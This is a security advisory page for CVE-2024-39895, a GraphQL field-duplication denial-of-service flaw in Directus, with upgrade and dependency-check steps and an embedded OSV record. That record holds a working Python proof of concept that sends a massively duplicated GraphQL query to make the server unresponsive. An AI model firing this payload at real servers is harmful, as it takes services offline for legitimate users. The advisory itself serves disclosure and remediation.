CVE-2024-39895: @directus/env Denial of Service Vulnerability
HIGHCVE-2024-39895 is a HIGH (CVSS 6.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting @directus/env libraries in the npm ecosystem. The issue involves directus graphql field duplication denial of service (dos). Remediation is available by upgrading affected packages to version 1.1.6.
CVE-2024-39895 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2024-39895
To remediate this vulnerability, upgrade all affected @directus/env dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @directus/env@1.1.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @directus/env
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2024-39895, inspect your project dependencies using npm:
npm ls @directus/env
Analyze the terminal output to locate any version of @directus/env in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.6), your application is affected.
Note: The npm ls @directus/env command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In @directus/env, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-39895 Affected @directus/env Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@directus/env
|
npm |
< 1.1.6
|
1.1.6
|
References
Frequently Asked Questions
What is CVE-2024-39895?
Which @directus/env versions are affected?
What version fixes CVE-2024-39895?
Is @directus/env affected?
What is the CVSS score of CVE-2024-39895?
What CWE is associated with CVE-2024-39895?
How can I check npm dependencies for CVE-2024-39895?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7hmh-pfrp-vcx4",
"modified" : "2024-11-18T16:26:50Z",
"published" : "2024-07-08T18:41:00Z",
"aliases" : [ "CVE-2024-39895" ],
"summary" : "Directus GraphQL Field Duplication Denial of Service (DoS)",
"details" : "### Summary\nA denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.\n\n### Details\nRequest to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:\n\n\n\n\n\nBy modifying the data sent and duplicating many times the fields a DoS attack is possible. \n\n### PoC\nThe goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.\n`{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}`\n\nAlthough that payload seems harmless, a bigger one leaves the service unresponsive. \n\nThe following code might serve as a PoC written in Python3:\n```# Field Duplication DoS \n# GitHub @asantof\n\nimport requests\n\n## CHANGE THIS VALUES: url, auth_token, query_name, collection_name\nurl = 'http://0.0.0.0:8055/graphql'\nauth_token = '' \nquery_name = 'query_XXXXX' \ncollection_name = '' \n\nheaders = {\n 'Content-Type': 'application/json',\n 'Authorization': f'Bearer {auth_token}',\n}\n\nid_payload = 'id ' * 200\nmax_payload = 'max {' + id_payload + ' } '\nfull_payload = max_payload * 200\n\ndata = {\n 'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }'\n}\n\nprint(data)\n\nresponse = requests.post(url, headers=headers, json=data)\n\nprint(response.json())\n```\n\n\n\n\nAfter running it the service will be unresponsive for a while:\n\n\n\n### Impact\nThe vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@directus/env"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.1.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-39895"
}, {
"type" : "WEB",
"url" : "https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/directus/directus"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2024-07-08T18:41:00Z",
"nvd_published_at" : "2024-07-08T17:15:11Z"
}
}